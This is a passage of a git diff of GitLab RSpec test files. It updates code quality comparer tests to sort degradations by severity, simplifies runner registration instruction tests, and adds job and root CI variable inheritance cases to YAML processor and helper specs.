@@ -102,7 +104,7 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report does not have errors and head has errors' do
before do
- head_report.add_degradation(degradation_1)
+ head_report.add_degradation(major_degradation)
end
it 'returns zero' do
@@ -124,7 +126,7 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has an error' do
before do
- base_report.add_degradation(degradation_1)
+ base_report.add_degradation(major_degradation)
end
it 'returns zero' do
@@ -134,7 +136,7 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when head report has an error' do
before do
- head_report.add_degradation(degradation_1)
+ head_report.add_degradation(major_degradation)
end
it 'includes the head report error in the count' do
@@ -144,8 +146,8 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has errors and head report has errors' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_2)
+ base_report.add_degradation(major_degradation)
+ head_report.add_degradation(minor_degradation)
end
it 'includes errors in the count' do
@@ -155,9 +157,9 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has errors and head report has the same error' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_2)
+ base_report.add_degradation(major_degradation)
+ head_report.add_degradation(major_degradation)
+ head_report.add_degradation(minor_degradation)
end
it 'includes errors in the count' do
@@ -179,20 +181,28 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has errors and head has the same error' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_2)
- end
-
- it 'includes the base report errors' do
- expect(existing_errors).to contain_exactly(degradation_1)
+ base_report.add_degradation(major_degradation)
+ base_report.add_degradation(critical_degradation)
+ base_report.add_degradation(blocker_degradation)
+ head_report.add_degradation(critical_degradation)
+ head_report.add_degradation(blocker_degradation)
+ head_report.add_degradation(major_degradation)
+ head_report.add_degradation(minor_degradation)
+ end
+
+ it 'includes the base report errors sorted by severity' do
+ expect(existing_errors).to eq([
+ blocker_degradation,
+ critical_degradation,
+ major_degradation
+ ])
end
end
context 'when base report has errors and head has a different error' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_2)
+ base_report.add_degradation(major_degradation)
+ head_report.add_degradation(minor_degradation)
end
it 'returns an empty array' do
@@ -202,7 +212,7 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report does not have errors and head has errors' do
before do
- head_report.add_degradation(degradation_1)
+ head_report.add_degradation(major_degradation)
end
it 'returns an empty array' do
@@ -224,19 +234,25 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has errors and head has more errors' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_2)
+ base_report.add_degradation(major_degradation)
+ head_report.add_degradation(critical_degradation)
+ head_report.add_degradation(minor_degradation)
+ head_report.add_degradation(blocker_degradation)
+ head_report.add_degradation(major_degradation)
end
- it 'includes errors not found in the base report' do
- expect(new_errors).to eq([degradation_2])
+ it 'includes errors not found in the base report sorted by severity' do
+ expect(new_errors).to eq([
+ blocker_degradation,
+ critical_degradation,
+ minor_degradation
+ ])
end
end
context 'when base report has an error and head has no errors' do
before do
- base_report.add_degradation(degradation_1)
+ base_report.add_degradation(major_degradation)
end
it 'returns an empty array' do
@@ -246,11 +262,11 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report does not have errors and head has errors' do
before do
- head_report.add_degradation(degradation_1)
+ head_report.add_degradation(major_degradation)
end
it 'returns the head report error' do
- expect(new_errors).to eq([degradation_1])
+ expect(new_errors).to eq([major_degradation])
end
end
@@ -268,9 +284,9 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report errors are still found in the head report' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_2)
+ base_report.add_degradation(major_degradation)
+ head_report.add_degradation(major_degradation)
+ head_report.add_degradation(minor_degradation)
end
it 'returns an empty array' do
@@ -280,18 +296,25 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has errors and head has a different error' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_2)
+ base_report.add_degradation(major_degradation)
+ base_report.add_degradation(minor_degradation)
+ base_report.add_degradation(critical_degradation)
+ base_report.add_degradation(blocker_degradation)
+ head_report.add_degradation(major_degradation)
end
- it 'returns the base report error' do
- expect(resolved_errors).to eq([degradation_1])
+ it 'returns the base report errors not found in the head report, sorted by severity' do
+ expect(resolved_errors).to eq([
+ blocker_degradation,
+ critical_degradation,
+ minor_degradation
+ ])
end
end
context 'when base report does not have errors and head has errors' do
before do
- head_report.add_degradation(degradation_1)
+ head_report.add_degradation(major_degradation)
end
it 'returns an empty array' do
diff --git a/spec/lib/gitlab/ci/reports/codequality_reports_spec.rb b/spec/lib/gitlab/ci/reports/codequality_reports_spec.rb
index ae9b2f2c62b..3b0eaffc54e 100644
--- a/spec/lib/gitlab/ci/reports/codequality_reports_spec.rb
+++ b/spec/lib/gitlab/ci/reports/codequality_reports_spec.rb
@@ -34,8 +34,6 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReports do
it 'sets location as an error' do
codequality_report.add_degradation(invalid_degradation)
-
- expect(codequality_report.error_message).to eq("Invalid degradation format: The property '#/' did not contain a required property of 'location'")
end
end
end
@@ -79,4 +77,36 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReports do
end
end
end
+
+ describe '#sort_degradations!' do
+ let(:major) { build(:codequality_degradation, :major) }
+ let(:minor) { build(:codequality_degradation, :minor) }
+ let(:blocker) { build(:codequality_degradation, :blocker) }
+ let(:info) { build(:codequality_degradation, :info) }
+ let(:major_2) { build(:codequality_degradation, :major) }
+ let(:critical) { build(:codequality_degradation, :critical) }
+ let(:codequality_report) { described_class.new }
+
+ before do
+ codequality_report.add_degradation(major)
+ codequality_report.add_degradation(minor)
+ codequality_report.add_degradation(blocker)
+ codequality_report.add_degradation(major_2)
+ codequality_report.add_degradation(info)
+ codequality_report.add_degradation(critical)
+
+ codequality_report.sort_degradations!
+ end
+
+ it 'sorts degradations based on severity' do
+ expect(codequality_report.degradations.values).to eq([
+ blocker,
+ critical,
+ major,
+ major_2,
+ minor,
+ info
+ ])
+ end
+ end
end
diff --git a/spec/lib/gitlab/ci/reports/test_failure_history_spec.rb b/spec/lib/gitlab/ci/reports/test_failure_history_spec.rb
index 831bc5e9f37..9ee55177ca0 100644
--- a/spec/lib/gitlab/ci/reports/test_failure_history_spec.rb
+++ b/spec/lib/gitlab/ci/reports/test_failure_history_spec.rb
@@ -13,9 +13,9 @@ RSpec.describe Gitlab::Ci::Reports::TestFailureHistory, :aggregate_failures do
subject(:load_history) { described_class.new([failed_rspec, failed_java], project).load! }
before do
- allow(Ci::TestCaseFailure)
+ allow(Ci::UnitTestFailure)
.to receive(:recent_failures_count)
- .with(project: project, test_case_keys: [failed_rspec.key, failed_java.key])
+ .with(project: project, unit_test_keys: [failed_rspec.key, failed_java.key])
.and_return(
failed_rspec.key => 2,
failed_java.key => 1
diff --git a/spec/lib/gitlab/ci/runner_instructions_spec.rb b/spec/lib/gitlab/ci/runner_instructions_spec.rb
index d1020026fe6..f872c631a50 100644
--- a/spec/lib/gitlab/ci/runner_instructions_spec.rb
+++ b/spec/lib/gitlab/ci/runner_instructions_spec.rb
@@ -6,7 +6,6 @@ RSpec.describe Gitlab::Ci::RunnerInstructions do
using RSpec::Parameterized::TableSyntax
let(:params) { {} }
- let(:user) { create(:user) }
describe 'OS' do
Gitlab::Ci::RunnerInstructions::OS.each do |name, subject|
@@ -37,7 +36,7 @@ RSpec.describe Gitlab::Ci::RunnerInstructions do
end
describe '#install_script' do
- subject { described_class.new(current_user: user, **params) }
+ subject { described_class.new(**params) }
context 'invalid params' do
where(:current_params, :expected_error_message) do
@@ -106,117 +105,18 @@ RSpec.describe Gitlab::Ci::RunnerInstructions do
end
end
- context 'group' do
- let(:group) { create(:group) }
-
- subject { described_class.new(current_user: user, group: group, **params) }
-
- context 'user is owner' do
- before do
- group.add_owner(user)
- end
-
- with_them do
- let(:params) { { os: commands.each_key.first, arch: 'foo' } }
-
- it 'have correct configurations' do
- result = subject.register_command
-
- expect(result).to include("#{commands[commands.each_key.first]} register")
- expect(result).to include("--registration-token #{group.runners_token}")
- expect(result).to include("--url #{Gitlab::Routing.url_helpers.root_url(only_path: false)}")
- end
- end
- end
-
- context 'user is not owner' do
- where(:user_permission) do
- [:maintainer, :developer, :reporter, :guest]
- end
-
- with_them do
- before do
- create(:group_member, user_permission, group: group, user: user)
- end
-
- it 'raises error' do
- result = subject.register_command
-
- expect(result).to be_nil
- expect(subject.errors).to include("Gitlab::Access::AccessDeniedError")
- end
- end
- end
- end
-
- context 'project' do
- let(:project) { create(:project) }
-
- subject { described_class.new(current_user: user, project: project, **params) }
-
- context 'user is maintainer' do
- before do
- project.add_maintainer(user)
- end
-
- with_them do
- let(:params) { { os: commands.each_key.first, arch: 'foo' } }
-
- it 'have correct configurations' do
- result = subject.register_command
-
- expect(result).to include("#{commands[commands.each_key.first]} register")
- expect(result).to include("--registration-token #{project.runners_token}")
- expect(result).to include("--url #{Gitlab::Routing.url_helpers.root_url(only_path: false)}")
- end
- end
- end
-
- context 'user is not maintainer' do
- where(:user_permission) do
- [:developer, :reporter, :guest]
- end
-
- with_them do
- before do
- create(:project_member, user_permission, project: project, user: user)
- end
-
- it 'raises error' do
- result = subject.register_command
-
- expect(result).to be_nil
- expect(subject.errors).to include("Gitlab::Access::AccessDeniedError")
- end
- end
- end
- end
-
context 'instance' do
- subject { described_class.new(current_user: user, **params) }
-
- context 'user is admin' do
- let(:user) { create(:user, :admin) }
-
- with_them do
- let(:params) { { os: commands.each_key.first, arch: 'foo' } }
+ subject { described_class.new(**params) }
- it 'have correct configurations' do
- result = subject.register_command
-
- expect(result).to include("#{commands[commands.each_key.first]} register")
- expect(result).to include("--registration-token #{Gitlab::CurrentSettings.runners_registration_token}")
- expect(result).to include("--url #{Gitlab::Routing.url_helpers.root_url(only_path: false)}")
- end
- end
- end
+ with_them do
+ let(:params) { { os: commands.each_key.first, arch: 'foo' } }
- context 'user is not admin' do
- it 'raises error' do
+ it 'have correct configurations' do
result = subject.register_command
- expect(result).to be_nil
- expect(subject.errors).to include("Gitlab::Access::AccessDeniedError")
+ expect(result).to include("#{commands[commands.each_key.first]} register")
+ expect(result).to include("--registration-token $REGISTRATION_TOKEN")
+ expect(result).to include("--url #{Gitlab::Routing.url_helpers.root_url(only_path: false)}")
end
end
end
diff --git a/spec/lib/gitlab/ci/status/composite_spec.rb b/spec/lib/gitlab/ci/status/composite_spec.rb
index 543cfe874ca..2b9523bd83d 100644
--- a/spec/lib/gitlab/ci/status/composite_spec.rb
+++ b/spec/lib/gitlab/ci/status/composite_spec.rb
@@ -6,13 +6,13 @@ RSpec.describe Gitlab::Ci::Status::Composite do
let_it_be(:pipeline) { create(:ci_pipeline) }
before_all do
- @statuses = Ci::HasStatus::STATUSES_ENUM.map do |status, idx|
+ @statuses = Ci::HasStatus::STATUSES_ENUM.to_h do |status, idx|
[status, create(:ci_build, pipeline: pipeline, status: status, importing: true)]
- end.to_h
+ end
- @statuses_with_allow_failure = Ci::HasStatus::STATUSES_ENUM.map do |status, idx|
+ @statuses_with_allow_failure = Ci::HasStatus::STATUSES_ENUM.to_h do |status, idx|
[status, create(:ci_build, pipeline: pipeline, status: status, allow_failure: true, importing: true)]
- end.to_h
+ end
end
describe '#status' do
diff --git a/spec/lib/gitlab/ci/trace_spec.rb b/spec/lib/gitlab/ci/trace_spec.rb
index 597e4ca9b03..0fe7c731f27 100644
--- a/spec/lib/gitlab/ci/trace_spec.rb
+++ b/spec/lib/gitlab/ci/trace_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Ci::Trace, :clean_gitlab_redis_shared_state, factory_default: :keep do
let_it_be(:project) { create_default(:project).freeze }
- let_it_be_with_reload(:build) { create(:ci_build) }
+ let_it_be_with_reload(:build) { create(:ci_build, :success) }
let(:trace) { described_class.new(build) }
describe "associations" do
@@ -63,9 +63,7 @@ RSpec.describe Gitlab::Ci::Trace, :clean_gitlab_redis_shared_state, factory_defa
describe '#update_interval' do
context 'it is not being watched' do
- it 'returns 30 seconds' do
- expect(trace.update_interval).to eq(30.seconds)
- end
+ it { expect(trace.update_interval).to eq(60.seconds) }
end
context 'it is being watched' do
diff --git a/spec/lib/gitlab/ci/variables/helpers_spec.rb b/spec/lib/gitlab/ci/variables/helpers_spec.rb
index b45abf8c0e1..f13b334c10e 100644
--- a/spec/lib/gitlab/ci/variables/helpers_spec.rb
+++ b/spec/lib/gitlab/ci/variables/helpers_spec.rb
@@ -100,4 +100,50 @@ RSpec.describe Gitlab::Ci::Variables::Helpers do
it { is_expected.to eq(result) }
end
end
+
+ describe '.inherit_yaml_variables' do
+ let(:from) do
+ [{ key: 'key1', value: 'value1' },
+ { key: 'key2', value: 'value2' }]
+ end
+
+ let(:to) do
+ [{ key: 'key2', value: 'value22' },
+ { key: 'key3', value: 'value3' }]
+ end
+
+ let(:inheritance) { true }
+
+ let(:result) do
+ [{ key: 'key1', value: 'value1', public: true },
+ { key: 'key2', value: 'value22', public: true },
+ { key: 'key3', value: 'value3', public: true }]
+ end
+
+ subject { described_class.inherit_yaml_variables(from: from, to: to, inheritance: inheritance) }
+
+ it { is_expected.to eq(result) }
+
+ context 'when inheritance is false' do
+ let(:inheritance) { false }
+
+ let(:result) do
+ [{ key: 'key2', value: 'value22', public: true },
+ { key: 'key3', value: 'value3', public: true }]
+ end
+
+ it { is_expected.to eq(result) }
+ end
+
+ context 'when inheritance is array' do
+ let(:inheritance) { ['key2'] }
+
+ let(:result) do
+ [{ key: 'key2', value: 'value22', public: true },
+ { key: 'key3', value: 'value3', public: true }]
+ end
+
+ it { is_expected.to eq(result) }
+ end
+ end
end
diff --git a/spec/lib/gitlab/ci/yaml_processor/result_spec.rb b/spec/lib/gitlab/ci/yaml_processor/result_spec.rb
index 7e3cd7ec254..e345cd4de9b 100644
--- a/spec/lib/gitlab/ci/yaml_processor/result_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor/result_spec.rb
@@ -24,7 +24,7 @@ module Gitlab
let(:included_yml) do
YAML.dump(
- another_test: { stage: 'test', script: 'echo 2' }
+ { another_test: { stage: 'test', script: 'echo 2' } }.deep_stringify_keys
)
end
diff --git a/spec/lib/gitlab/ci/yaml_processor_spec.rb b/spec/lib/gitlab/ci/yaml_processor_spec.rb
index 5462a587d16..ad94dfc9160 100644
--- a/spec/lib/gitlab/ci/yaml_processor_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor_spec.rb
@@ -43,6 +43,8 @@ module Gitlab
allow_failure: false,
when: "on_success",
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -74,6 +76,8 @@ module Gitlab
allow_failure: false,
when: 'on_success',
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -111,7 +115,9 @@ module Gitlab
tag_list: %w[A B],
allow_failure: false,
when: "on_success",
- yaml_variables: []
+ yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true
})
end
end
@@ -158,6 +164,8 @@ module Gitlab
allow_failure: false,
when: "on_success",
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -347,6 +355,8 @@ module Gitlab
allow_failure: false,
when: "on_success",
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage,
options: { script: ["rspec"] },
only: { refs: ["branches"] } }] },
@@ -359,6 +369,8 @@ module Gitlab
allow_failure: false,
when: "on_success",
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage,
options: { script: ["cap prod"] },
only: { refs: ["tags"] } }] },
@@ -372,7 +384,7 @@ module Gitlab
end
end
- describe '#workflow_attributes' do
+ describe 'workflow attributes' do
context 'with disallowed workflow:variables' do
let(:config) do
<<-EOYML
@@ -403,11 +415,11 @@ module Gitlab
end
it 'parses the workflow:rules configuration' do
- expect(subject.workflow_attributes[:rules]).to contain_exactly({ if: '$VAR == "value"' })
+ expect(subject.workflow_rules).to contain_exactly({ if: '$VAR == "value"' })
end
- it 'parses the root:variables as yaml_variables:' do
- expect(subject.workflow_attributes[:yaml_variables])
+ it 'parses the root:variables as #root_variables' do
+ expect(subject.root_variables)
.to contain_exactly({ key: 'SUPPORTED', value: 'parsed', public: true })
end
end
@@ -425,11 +437,11 @@ module Gitlab
end
it 'parses the workflow:rules configuration' do
- expect(subject.workflow_attributes[:rules]).to contain_exactly({ if: '$VAR == "value"' })
+ expect(subject.workflow_rules).to contain_exactly({ if: '$VAR == "value"' })
end
- it 'parses the root:variables as yaml_variables:' do
- expect(subject.workflow_attributes[:yaml_variables]).to eq([])
+ it 'parses the root:variables as #root_variables' do
+ expect(subject.root_variables).to eq([])
end
end
@@ -445,11 +457,11 @@ module Gitlab
end
it 'parses the workflow:rules configuration' do
- expect(subject.workflow_attributes[:rules]).to be_nil
+ expect(subject.workflow_rules).to be_nil
end
- it 'parses the root:variables as yaml_variables:' do
- expect(subject.workflow_attributes[:yaml_variables])
+ it 'parses the root:variables as #root_variables' do
+ expect(subject.root_variables)
.to contain_exactly({ key: 'SUPPORTED', value: 'parsed', public: true })
end
end
@@ -463,11 +475,11 @@ module Gitlab
end
it 'parses the workflow:rules configuration' do
- expect(subject.workflow_attributes[:rules]).to be_nil
+ expect(subject.workflow_rules).to be_nil
end
- it 'parses the root:variables as yaml_variables:' do
- expect(subject.workflow_attributes[:yaml_variables]).to eq([])
+ it 'parses the root:variables as #root_variables' do
+ expect(subject.root_variables).to eq([])
end
end
end
@@ -853,6 +865,8 @@ module Gitlab
allow_failure: false,
when: "on_success",
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -861,7 +875,7 @@ module Gitlab
config = YAML.dump({ image: "ruby:2.7",
services: ["mysql"],
before_script: ["pwd"],
- rspec: { image: { name: "ruby:2.5", entrypoint: ["/usr/local/bin/init", "run"] },
+ rspec: { image: { name: "ruby:3.0", entrypoint: ["/usr/local/bin/init", "run"] },
services: [{ name: "postgresql", alias: "db-pg",
entrypoint: ["/usr/local/bin/init", "run"],
command: ["/usr/local/bin/init", "run"] }, "docker:dind"],
@@ -878,7 +892,7 @@ module Gitlab
options: {
before_script: ["pwd"],
script: ["rspec"],
- image: { name: "ruby:2.5", entrypoint: ["/usr/local/bin/init", "run"] },
+ image: { name: "ruby:3.0", entrypoint: ["/usr/local/bin/init", "run"] },
services: [{ name: "postgresql", alias: "db-pg", entrypoint: ["/usr/local/bin/init", "run"],
command: ["/usr/local/bin/init", "run"] },
{ name: "docker:dind" }]
@@ -886,6 +900,8 @@ module Gitlab
allow_failure: false,
when: "on_success",
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -915,6 +931,8 @@ module Gitlab
allow_failure: false,
when: "on_success",
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -923,7 +941,7 @@ module Gitlab
config = YAML.dump({ image: "ruby:2.7",
services: ["mysql"],
before_script: ["pwd"],
- rspec: { image: "ruby:2.5", services: ["postgresql", "docker:dind"], script: "rspec" } })
+ rspec: { image: "ruby:3.0", services: ["postgresql", "docker:dind"], script: "rspec" } })
config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
@@ -936,12 +954,14 @@ module Gitlab
options: {
before_script: ["pwd"],
script: ["rspec"],
- image: { name: "ruby:2.5" },
+ image: { name: "ruby:3.0" },
services: [{ name: "postgresql" }, { name: "docker:dind" }]
},
allow_failure: false,
when: "on_success",
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -951,7 +971,10 @@ module Gitlab
describe 'Variables' do
subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
- let(:build_variables) { subject.builds.first[:yaml_variables] }
+ let(:build) { subject.builds.first }
+ let(:yaml_variables) { build[:yaml_variables] }
+ let(:job_variables) { build[:job_variables] }
+ let(:root_variables_inheritance) { build[:root_variables_inheritance] }
context 'when global variables are defined' do
let(:variables) do
@@ -967,10 +990,12 @@ module Gitlab
end
it 'returns global variables' do
- expect(build_variables).to contain_exactly(
+ expect(yaml_variables).to contain_exactly(
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
)
+ expect(job_variables).to eq([])
+ expect(root_variables_inheritance).to eq(true)
end
end
@@ -979,7 +1004,7 @@ module Gitlab
{ 'VAR1' => 'global1', 'VAR3' => 'global3', 'VAR4' => 'global4' }
end
- let(:job_variables) do
+ let(:build_variables) do
{ 'VAR1' => 'value1', 'VAR2' => 'value2' }
end
@@ -987,20 +1012,25 @@ module Gitlab
{
before_script: ['pwd'],
variables: global_variables,
- rspec: { script: 'rspec', variables: job_variables, inherit: inherit }
+ rspec: { script: 'rspec', variables: build_variables, inherit: inherit }
}
end
context 'when no inheritance is specified' do
let(:inherit) { }
- it 'returns all unique variables' do
- expect(build_variables).to contain_exactly(
- { key: 'VAR4', value: 'global4', public: true },
+ it 'returns all variables' do
+ expect(yaml_variables).to contain_exactly(
+ { key: 'VAR1', value: 'value1', public: true },
+ { key: 'VAR2', value: 'value2', public: true },
{ key: 'VAR3', value: 'global3', public: true },
+ { key: 'VAR4', value: 'global4', public: true }
+ )
+ expect(job_variables).to contain_exactly(
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
)
+ expect(root_variables_inheritance).to eq(true)
end
end
@@ -1008,22 +1038,32 @@ module Gitlab
let(:inherit) { { variables: false } }
it 'does not inherit variables' do
- expect(build_variables).to contain_exactly(
+ expect(yaml_variables).to contain_exactly(
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
)
+ expect(job_variables).to contain_exactly(
+ { key: 'VAR1', value: 'value1', public: true },
+ { key: 'VAR2', value: 'value2', public: true }
+ )
+ expect(root_variables_inheritance).to eq(false)
end
end
context 'when specific variables are to inherited' do
let(:inherit) { { variables: %w[VAR1 VAR4] } }
- it 'returns all unique variables and inherits only specified variables' do
- expect(build_variables).to contain_exactly(
- { key: 'VAR4', value: 'global4', public: true },
+ it 'returns all variables and inherits only specified variables' do
+ expect(yaml_variables).to contain_exactly(
+ { key: 'VAR1', value: 'value1', public: true },
+ { key: 'VAR2', value: 'value2', public: true },
+ { key: 'VAR4', value: 'global4', public: true }
+ )
+ expect(job_variables).to contain_exactly(
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
)
+ expect(root_variables_inheritance).to eq(%w[VAR1 VAR4])
end
end
end
@@ -1042,10 +1082,15 @@ module Gitlab
end
it 'returns job variables' do
- expect(build_variables).to contain_exactly(
+ expect(yaml_variables).to contain_exactly(
+ { key: 'VAR1', value: 'value1', public: true },
+ { key: 'VAR2', value: 'value2', public: true }
+ )
+ expect(job_variables).to contain_exactly(
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
)
+ expect(root_variables_inheritance).to eq(true)
end
end
@@ -1068,8 +1113,11 @@ module Gitlab
# When variables config is empty, we assume this is a valid
# configuration, see issue #18775
#
- expect(build_variables).to be_an_instance_of(Array)
- expect(build_variables).to be_empty
+ expect(yaml_variables).to be_an_instance_of(Array)
+ expect(yaml_variables).to be_empty
+
+ expect(job_variables).to eq([])
+ expect(root_variables_inheritance).to eq(true)
end
end
end
@@ -1084,8 +1132,11 @@ module Gitlab
end
it 'returns empty array' do
- expect(build_variables).to be_an_instance_of(Array)
- expect(build_variables).to be_empty
+ expect(yaml_variables).to be_an_instance_of(Array)
+ expect(yaml_variables).to be_empty
+
+ expect(job_variables).to eq([])
+ expect(root_variables_inheritance).to eq(true)
end
end
end
@@ -1717,6 +1768,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -2080,6 +2133,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
)
expect(subject.builds[4]).to eq(
@@ -2095,6 +2150,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :dag
)
end
@@ -2122,6 +2179,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
)
expect(subject.builds[4]).to eq(
@@ -2139,6 +2198,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :dag
)
end
@@ -2162,6 +2223,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :dag
)
end
@@ -2193,6 +2256,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :dag
)
end
@@ -2391,6 +2456,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
@@ -2438,6 +2505,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
expect(subject.second).to eq({
@@ -2451,6 +2520,8 @@ module Gitlab
when: "on_success",
allow_failure: false,
yaml_variables: [],
+ job_variables: [],
+ root_variables_inheritance: true,
scheduling_type: :stage
})
end
diff --git a/spec/lib/gitlab/composer/version_index_spec.rb b/spec/lib/gitlab/composer/version_index_spec.rb
index 7b0ed703f42..a4d016636aa 100644
--- a/spec/lib/gitlab/composer/version_index_spec.rb
+++ b/spec/lib/gitlab/composer/version_index_spec.rb
@@ -27,6 +27,11 @@ RSpec.describe Gitlab::Composer::VersionIndex do
'type' => 'zip',
'url' => "http://localhost/api/v4/projects/#{project.id}/packages/composer/archives/#{package.name}.zip?sha=#{branch.target}"
},
+ 'source' => {
+ 'reference' => branch.target,
+ 'type' => 'git',
+ 'url' => project.http_url_to_repo
+ },
'name' => package.name,
'uid' => package.id,
'version' => package.version
diff --git a/spec/lib/gitlab/conflict/file_spec.rb b/spec/lib/gitlab/conflict/file_spec.rb
index bb9bee763d8..46e5334cd81 100644
--- a/spec/lib/gitlab/conflict/file_spec.rb
+++ b/spec/lib/gitlab/conflict/file_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe Gitlab::Conflict::File do
let(:section_keys) { conflict_file.sections.map { |section| section[:id] }.compact }
context 'when resolving everything to the same side' do
- let(:resolution_hash) { section_keys.map { |key| [key, 'head'] }.to_h }
+ let(:resolution_hash) { section_keys.to_h { |key| [key, 'head'] } }
let(:resolved_lines) { conflict_file.resolve_lines(resolution_hash) }
let(:expected_lines) { conflict_file.lines.reject { |line| line.type == 'old' } }
@@ -54,8 +54,8 @@ RSpec.describe Gitlab::Conflict::File do
end
it 'raises ResolutionError when passed a hash without resolutions for all sections' do
- empty_hash = section_keys.map { |key| [key, nil] }.to_h
- invalid_hash = section_keys.map { |key| [key, 'invalid'] }.to_h
+ empty_hash = section_keys.to_h { |key| [key, nil] }
+ invalid_hash = section_keys.to_h { |key| [key, 'invalid'] }
expect { conflict_file.resolve_lines({}) }
.to raise_error(Gitlab::Git::Conflict::Resolver::ResolutionError)
diff --git a/spec/lib/gitlab/crypto_helper_spec.rb b/spec/lib/gitlab/crypto_helper_spec.rb
index 024564ea213..616a37a4cb9 100644
--- a/spec/lib/gitlab/crypto_helper_spec.rb
+++ b/spec/lib/gitlab/crypto_helper_spec.rb
@@ -20,22 +20,24 @@ RSpec.describe Gitlab::CryptoHelper do
expect(encrypted).not_to include "\n"
end
- it 'does not save hashed token with iv value in database' do
- expect { described_class.aes256_gcm_encrypt('some-value') }.not_to change { TokenWithIv.count }
- end
-
it 'encrypts using static iv' do
expect(Encryptor).to receive(:encrypt).with(described_class::AES256_GCM_OPTIONS.merge(value: 'some-value', iv: described_class::AES256_GCM_IV_STATIC)).and_return('hashed_value')
described_class.aes256_gcm_encrypt('some-value')
end
- end
- describe '.aes256_gcm_decrypt' do
- before do
- stub_feature_flags(dynamic_nonce_creation: false)
+ context 'with provided iv' do
+ let(:iv) { create_nonce }
+
+ it 'encrypts using provided iv' do
+ expect(Encryptor).to receive(:encrypt).with(described_class::AES256_GCM_OPTIONS.merge(value: 'some-value', iv: iv)).and_return('hashed_value')
+
+ described_class.aes256_gcm_encrypt('some-value', nonce: iv)
+ end
end
+ end
+ describe '.aes256_gcm_decrypt' do
context 'when token was encrypted using static nonce' do
let(:encrypted) { described_class.aes256_gcm_encrypt('some-value', nonce: described_class::AES256_GCM_IV_STATIC) }
@@ -50,54 +52,22 @@ RSpec.describe Gitlab::CryptoHelper do
expect(decrypted).to eq 'some-value'
end
-
- it 'does not save hashed token with iv value in database' do
- expect { described_class.aes256_gcm_decrypt(encrypted) }.not_to change { TokenWithIv.count }
- end
-
- context 'with feature flag switched on' do
- before do
